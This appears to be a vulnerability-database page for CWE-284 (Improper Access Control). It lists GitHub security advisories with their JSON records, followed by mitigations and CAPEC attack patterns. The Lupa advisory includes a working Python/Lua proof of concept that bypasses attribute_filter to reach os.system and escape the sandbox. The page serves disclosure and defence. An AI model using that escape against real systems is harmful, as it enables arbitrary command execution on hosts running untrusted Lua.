CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7799 vulnerabilities reference this CWE, most recent first.
GHSA-699R-PV7M-CGRH
Vulnerability from github – Published: 2022-05-17 03:00 – Updated: 2022-05-17 03:00Vulnerability in the Oracle FLEXCUBE Universal Banking component of Oracle Financial Services Applications (subcomponent: Core). Supported versions that are affected are 11.3.0, 11.4.0, 12.0.1, 12.0.2, 12.0.3, 12.1.0 and 12.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Universal Banking. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle FLEXCUBE Universal Banking accessible data as well as unauthorized read access to a subset of Oracle FLEXCUBE Universal Banking accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle FLEXCUBE Universal Banking. CVSS v3.0 Base Score 6.3 (Confidentiality, Integrity and Availability impacts).
{
"affected": [],
"aliases": [
"CVE-2016-8299"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-27T22:59:00Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle FLEXCUBE Universal Banking component of Oracle Financial Services Applications (subcomponent: Core). Supported versions that are affected are 11.3.0, 11.4.0, 12.0.1, 12.0.2, 12.0.3, 12.1.0 and 12.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Universal Banking. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle FLEXCUBE Universal Banking accessible data as well as unauthorized read access to a subset of Oracle FLEXCUBE Universal Banking accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle FLEXCUBE Universal Banking. CVSS v3.0 Base Score 6.3 (Confidentiality, Integrity and Availability impacts).",
"id": "GHSA-699r-pv7m-cgrh",
"modified": "2022-05-17T03:00:34Z",
"published": "2022-05-17T03:00:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8299"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95547"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-69J6-4W2P-2887
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32lunary-ai/lunary is vulnerable to broken access control in the latest version. An attacker can view the content of any dataset without any kind of authorization by sending a GET request to the /v1/datasets endpoint without a valid authorization token.
{
"affected": [],
"aliases": [
"CVE-2024-10272"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:15Z",
"severity": "HIGH"
},
"details": "lunary-ai/lunary is vulnerable to broken access control in the latest version. An attacker can view the content of any dataset without any kind of authorization by sending a GET request to the /v1/datasets endpoint without a valid authorization token.",
"id": "GHSA-69j6-4w2p-2887",
"modified": "2025-03-20T12:32:39Z",
"published": "2025-03-20T12:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10272"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/35dd4af0001a54ccb14276a1546eb977f82c0c5e"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/3de48a54-b5c9-40a1-b794-d59c36d58fb6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-69JM-3PF7-932C
Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2024-04-17 00:30Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 7.0.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2024-21114"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-16T22:15:33Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 7.0.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-69jm-3pf7-932c",
"modified": "2024-04-17T00:30:57Z",
"published": "2024-04-17T00:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21114"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-69MP-993W-437H
Vulnerability from github – Published: 2025-12-01 09:30 – Updated: 2025-12-01 09:30A weakness has been identified in moxi159753 Mogu Blog v2 up to 5.2. The affected element is an unknown function of the file /file/pictures. This manipulation of the argument filedatas causes unrestricted upload. The attack may be initiated remotely. The exploit has been made available to the public and could be exploited. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-13815"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-01T09:16:05Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in moxi159753 Mogu Blog v2 up to 5.2. The affected element is an unknown function of the file /file/pictures. This manipulation of the argument filedatas causes unrestricted upload. The attack may be initiated remotely. The exploit has been made available to the public and could be exploited. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-69mp-993w-437h",
"modified": "2025-12-01T09:30:27Z",
"published": "2025-12-01T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13815"
},
{
"type": "WEB",
"url": "https://github.com/Xzzz111/exps/blob/main/archives/mogu_blog_v2-unrestricted_upload-1/report.md"
},
{
"type": "WEB",
"url": "https://github.com/Xzzz111/exps/blob/main/archives/mogu_blog_v2-unrestricted_upload-1/report.md#proof-of-concept"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.333824"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.333824"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.692106"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-69Q2-QQ6J-W5MV
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-46782"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:53:55Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-69q2-qq6j-w5mv",
"modified": "2026-06-17T18:35:27Z",
"published": "2026-06-17T18:35:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46782"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-69Q6-H698-4XXF
Vulnerability from github – Published: 2022-05-17 02:23 – Updated: 2022-05-17 02:23Unspecified vulnerability in the Oracle Outside In Technology component in Oracle Fusion Middleware 8.4.0 and 8.5.1 through 8.5.3 allows remote attackers to affect confidentiality, integrity, and availability via vectors related to Outside In Filters, a different vulnerability than CVE-2016-5558, CVE-2016-5574, CVE-2016-5577, CVE-2016-5579, and CVE-2016-5588.
{
"affected": [],
"aliases": [
"CVE-2016-5578"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-25T14:30:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in the Oracle Outside In Technology component in Oracle Fusion Middleware 8.4.0 and 8.5.1 through 8.5.3 allows remote attackers to affect confidentiality, integrity, and availability via vectors related to Outside In Filters, a different vulnerability than CVE-2016-5558, CVE-2016-5574, CVE-2016-5577, CVE-2016-5579, and CVE-2016-5588.",
"id": "GHSA-69q6-h698-4xxf",
"modified": "2022-05-17T02:23:10Z",
"published": "2022-05-17T02:23:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5578"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93714"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-69V7-XPR6-6GJM
Vulnerability from github – Published: 2026-04-07 15:48 – Updated: 2026-05-06 23:26Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
- obj.attr → filtered
- getattr(obj, "attr") → not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access __class__
- Walk the __mro__ chain
- Call __subclasses__()
- Iterate over available classes
- Find a function that exposes __globals__
- Retrieve something like os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the attribute_filter
- Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lupa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34444"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T15:48:13Z",
"nvd_published_at": "2026-04-06T16:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` \u2192 filtered\n- `getattr(obj, \"attr\")` \u2192 not filtered\nBecause of this inconsistency, it\u2019s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:\u0027\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n if isinstance(attr_name, str) and attr_name.startswith(\u0027_\u0027):\n raise AttributeError(f\"Access to \u0027{attr_name}\u0027 is forbidden\")\n return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n if tostring(c):find(\"os._wrap_close\") then\n local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n setattr(user, \"run\", system)\n user.run(\"id\")\n end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.",
"id": "GHSA-69v7-xpr6-6gjm",
"modified": "2026-05-06T23:26:55Z",
"published": "2026-04-07T15:48:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34444"
},
{
"type": "PACKAGE",
"url": "https://github.com/scoder/lupa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr"
}
GHSA-69W4-P3C2-PWC7
Vulnerability from github – Published: 2024-05-16 21:31 – Updated: 2024-05-16 21:31Improper access control in some Intel(R) Power Gadget software for macOS all versions may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2023-40070"
],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-16T21:15:53Z",
"severity": "HIGH"
},
"details": "Improper access control in some Intel(R) Power Gadget software for macOS all versions may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-69w4-p3c2-pwc7",
"modified": "2024-05-16T21:31:59Z",
"published": "2024-05-16T21:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40070"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01037.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-69WP-XWM7-69WM
Vulnerability from github – Published: 2022-03-22 00:00 – Updated: 2022-04-01 13:50ThinkPHP Framework v5.0.24 was discovered to be configured without the PATHINFO parameter. This allows attackers to access all system environment parameters from index.php.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "topthink/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.0.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25481"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-01T13:50:10Z",
"nvd_published_at": "2022-03-21T00:15:00Z",
"severity": "HIGH"
},
"details": "ThinkPHP Framework v5.0.24 was discovered to be configured without the PATHINFO parameter. This allows attackers to access all system environment parameters from index.php.",
"id": "GHSA-69wp-xwm7-69wm",
"modified": "2022-04-01T13:50:10Z",
"published": "2022-03-22T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25481"
},
{
"type": "WEB",
"url": "https://github.com/Lyther/VulnDiscover/blob/master/Web/ThinkPHP_InfoLeak.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/top-think/framework"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Exposure of Resource to Wrong Sphere in ThinkPHP Framework"
}
GHSA-69WR-F7CJ-796X
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Dell PowerFlex Manager, version(s) [Versions], contain(s) an Improper Access Control vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-35162"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T15:16:46Z",
"severity": "MODERATE"
},
"details": "Dell PowerFlex Manager, version(s) [Versions], contain(s) an Improper Access Control vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to denial of service.",
"id": "GHSA-69wr-f7cj-796x",
"modified": "2026-06-17T18:35:56Z",
"published": "2026-06-17T18:35:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35162"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000477538/dsa-2026-066-security-update-for-powerflex-software-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.